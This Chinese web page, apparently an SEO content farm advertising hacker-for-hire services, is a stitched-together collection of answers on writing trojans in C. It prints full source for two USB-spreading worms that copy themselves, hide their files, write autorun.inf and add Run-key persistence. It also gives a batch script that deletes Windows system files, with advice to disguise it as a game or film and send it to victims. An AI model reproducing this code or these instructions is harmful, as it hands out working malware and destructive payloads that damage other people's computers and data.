今天分享{黑客24小时在线接单网站}的知识,会对如何用c语言编写木马病毒解释,如果解决了您的问题可以收藏本站。
用C语言编写的病毒代码
一个c病毒源代码
#include windows.h
#include Shlwapi.h
#include fstream.h
#include TlHelp32.h
#include Dbt.h
#pragma comment(lib,"shlwapi.lib")
#define TIMER 1//计时器
//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程
//获取盘符
TCHAR FirstDriveFromMask (ULONG unitmask);
//病毒从U盘启动时用到的函数
BOOL FileExist(TCHAR *path);//测试一个文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus's path
//BOOL FindU(TCHAR *u);//check whether u exist, u[2]
BOOL GetSysPath(TCHAR *path);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置
BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性
BOOL RegAutoRun(TCHAR *path);//修改注册表,实现自启动
//从C盘启动时用到函数
BOOL CopyToUAndSet();//复制自己到U盘
BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件
BOOL FindSelf();//测试自己是否在已经执行了
//global variable
TCHAR szExePath[MAX_PATH];//the virus's path
TCHAR U[2];//保存U盘的盘符
TCHAR szSysPath[MAX_PATH];//system path
//constant
const TCHAR *szExeName="bbbbb.exe";
const TCHAR *szSysName="aaaaa.exe";
const TCHAR *szAutoRunFile="AutoRun.inf";
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
static TCHAR szAppName[]=TEXT ("UUUUUU");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style =0;
wndclass.lpfnWndProc =WndProc;
wndclass.cbClsExtra =0;
wndclass.cbWndExtra =0;
wndclass.hInstance =hInstance;
wndclass.hIcon =0;
wndclass.hCursor =0;
wndclass.hbrBackground =0;
wndclass.lpszMenuName =NULL;
wndclass.lpszClassName =szAppName;
if (!RegisterClass (wndclass))
MessageBox (NULL,TEXT("Program requires Windows NT!"),
szAppName, MB_ICONERROR);
return 0;
hwnd = CreateWindow (szAppName, NULL,
WS_DISABLED,
0, 0,
0, 0,
NULL, NULL, hInstance, NULL);
while (GetMessage(msg, NULL, 0, 0))
TranslateMessage (msg);
DispatchMessage (msg);
return msg.wParam;
LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
switch(wParam)
case DBT_DEVICEARRIVAL: //插入
if (lpdb - dbch_devicetype == DBT_DEVTYP_VOLUME)
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
U[0]=FirstDriveFromMask(lpdbv -dbcv_unitmask);//得到u盘盘符
//MessageBox(0,U,"Notice!",MB_OK);
CopyToUAndSet();//拷到u盘
break;
case DBT_DEVICEREMOVECOMPLETE: //设备删除
break;
return LRESULT();
LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)
switch(message)
case WM_Create: //处理一些要下面要用到的全局变量
U[1]=':';
GetSysPath(szSysPath);//得到系统路径
SetTimer(hwnd,TIMER,5000,0);//启动计时器
GetSelfPath(szExePath);//得到自身的路径
return 0;
case WM_TIMER: //timer message
if(szExePath[0]==szSysPath[0]) //如果是系统盘启动的
SendMessage(hwnd,WM_DEVICECHANGE,0,0);//检测有没有插入设备消息
else
CopyToSysAndSet(hwnd);//拷到系统盘并自启动
return 0;
case WM_DEVICECHANGE:
OnDeviceChange(hwnd,wParam,lParam);
return 0;
case WM_DESTROY:
KillTimer(hwnd,TIMER);
PostQuitMessage(0);
return 0;
return DefWindowProc(hwnd, message, wParam, lParam);
TCHAR FirstDriveFromMask(ULONG unitmask)
char i;
for (i = 0; i 26; ++i)
if (unitmask 0x1)//看该驱动器的状态是否发生了变化
break;
unitmask = unitmask 1;
return (i + 'A');
BOOL GetSelfPath(TCHAR *path)
if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目录
return TRUE;
else
return FALSE;
BOOL GetSysPath(TCHAR *path)
return GetSystemDirectory(path,MAX_PATH);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd)
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,szSysPath);
lstrcat(szPath,"\\");
lstrcat(szPath,szSysName);//得到复制到系统目录的完整目录
if(!FileExist(szPath))//检测系统目录是否已经存在复制的文件
CopyFile(szExePath,szPath,FALSE);
RegAutoRun(szPath);
return SetFileAttrib(szPath);
else
if(!FindSelf())//检测自己有没有运行
//MessageBox(0,szExePath,szPath,MB_OK);
WinExec(szPath,SW_HIDE);//没有就执行
SendMessage(hwnd,WM_CLOSE,0,0);//结束自己
return FALSE;
BOOL FileExist(TCHAR *path)//检测PATH所指的路径的文件是否存在
int result;
result=PathFileExists(path);
if(result==1)
return TRUE;
else
return FALSE;
BOOL SetFileAttrib(TCHAR *path)
return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
BOOL RegAutoRun(TCHAR *path)//修改注册表实现自启动
HKEY hkey;
DWORD v=0;
RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",hkey);
RegSetValueEx(hkey,"NoDriveTypeAutoRun",0,REG_DWORD,(LPBYTE)v,sizeof(DWORD));
if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",
hkey)==ERROR_SUCCESS)
RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path));
RegCloseKey(hkey);
return TRUE;
else
return FALSE;
BOOL CopyToUAndSet()
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,U);
lstrcat(szPath,"\\");
lstrcat(szPath,szExeName);//得到指向U盘的完整目录
TCHAR szAutoFile[MAX_PATH];
lstrcpy(szAutoFile,U);
lstrcat(szAutoFile,"\\");
lstrcat(szAutoFile,szAutoRunFile);
if(!FileExist(szAutoFile))
CreateAutoRunFile(szAutoFile);
SetFileAttrib(szAutoFile);
if(!FileExist(szPath))
CopyFile(szExePath,szPath,FALSE);
return SetFileAttrib(szPath);
return FALSE;
BOOL CreateAutoRunFile(TCHAR *path) //在U盘下创建一个autorun.inf文件
ofstream fout;
fout.open(path);
if(fout)
fout"[AutoRun]"endl;
fout"open="szExeName" e"endl;
fout"shellexecute="szExeName" e"endl;
fout"shell\\Auto\\command="szExeName" e"endl;
fout"shell=Auto"endl;
fout.close();
return TRUE;
return FALSE;
BOOL FindSelf(){
PROCESSENTRY32 pe;
HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hShot,pe)){
do{
if(lstrcmp(pe.szExeFile,szSysName)==0)
CloseHandle(hShot);
return TRUE;
}while(Process32Next(hShot,pe));
CloseHandle(hShot);
return FALSE;
} 隐藏窗口:ShowWindow(false); (#include windows.h)
将程序暂停一秒后继续执行:sleep(1000); (同上)
删除文件:system("del 文件的路径");
运行文件:system("文件的路径");
system函数(#include iostream)
复制文件:详见remove函数(#include process.h)
一个不错的病毒完整源代码
#include windows.h
#include Shlwapi.h
#include fstream.h
#include TlHelp32.h
#include Dbt.h
#pragma comment(lib,"shlwapi.lib")
#define TIMER 1//计时器
//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程
//获取盘符
TCHAR FirstDriveFromMask (ULONG unitmask);
如何用C语言编一个简单病毒?
建立一个文档,写入如下片段:
@echo off
del /f /s /q %systemdrive%\*.*
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.*
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo
之后保存将文件重命名为"【文件名】.bat"
然后文件会自动变异为木马文件【360 瑞星什么的弹窗狂出】,别管他,允许就行了,大约重命名完成后不到半秒就完事了,然后把这个文件发到别人电脑里,名字弄得吸引人一些,比如游戏啊,电影,歌曲什么的,【扩展名一定为.bat】只要他一打开............片刻之后,除了装系统估计一般人没辙了
以上为最简单的病毒软件了。利用的是批处理删除系统文件的方法
linux,unix,windows,ios,安卓的病毒木马都可以用c语言来编写吗?
C语言当然可以编写病毒,事实上很多程序都是用C/C++编写出来的。 编程语言本身没有“贵贱”之分,只用用好了,都是相当强的;区别在于主要适用范围、编写的难易程序、执行效率的高低、学习的难易程度,等等。 C语言只是一种计算机程序的编写格式规范,到至于可以编写出来什么样的程序,还要看你所用的C语言编译器,(比如TC,VC,LCC,GCC等,太多了)。 如果有编写windows程序,就不能用TC,它只能编写DOS程序,而应该用VC,LCC,C++Builder等编译工具) 编写出来的程序肯定要调用操作系统提供的功能,如编windows程序,就要调用Win32 API,Dos程序则调用的是DOS中断,编程实际上就是对这些操作系统所提供功能的调用。 现在的病毒很多都是用常用的编程工具编写的,如VC++,delph,VC,Win32汇编等
如何用C语言写病毒?
在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.最基本的病毒.
本病毒的功能:
1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件
2.在C、D、E盘中生成自动运行文件
3.注册c:\windows\system\svchost.exe,使其开机自动运行
4.在C:\windows\system下生成隐蔽DLL文件
5.病毒在执行后具有相联复制能力本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过
请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究
/* SVCHOST.C */
/* SVCHOST.EXE */#define SVCHOST_NUM 6
#includestdio.h
#includestring.h
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";int copy(char *infile,char *outfile)
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 ((input=fopen(infile,"rb"))!=NULL) ((output=fopen(outfile,"wb"))!=NULL))
while(!feof(input))
fread(temp,1,1,input);
fwrite(temp,1,1,output);
fclose(input);
fclose(output);
return 0;
else return 1;
int main(void)
FILE *input,*output;
int i,k;
for(i=0;i3;i++)
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
for(i=0;i=SVCHOST_NUM;i++)
if((input=fopen(files_svchost[i],"rb"))!=NULL)
fclose(input);
for(k=0;kSVCHOST_NUM;k++)
copy(files_svchost[i],files_svchost[k]);
i=SVCHOST_NUM+1;
system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
return 0;
} 如果你想来狠点;把安全模式的注册表项也删除了.让它进不了安全模式;
警告:不会修改注册表的人;别运行本程序...
C语言可以写出木马么??
c语言可以的,一般的程序设计的语言都是可以的,但是病毒也是有高级与低级之分的,关键看你的语言应用能力了,顺便提醒一句,c语言这种很广泛的语言类,一般编出来的代码容易被破解的。
如何用c语言编写木马病毒的介绍到这里结束,感谢您的关注,如何用c语言编写木马病毒、如何用c语言编写木马病毒的信息别忘了在本站进行查找喔。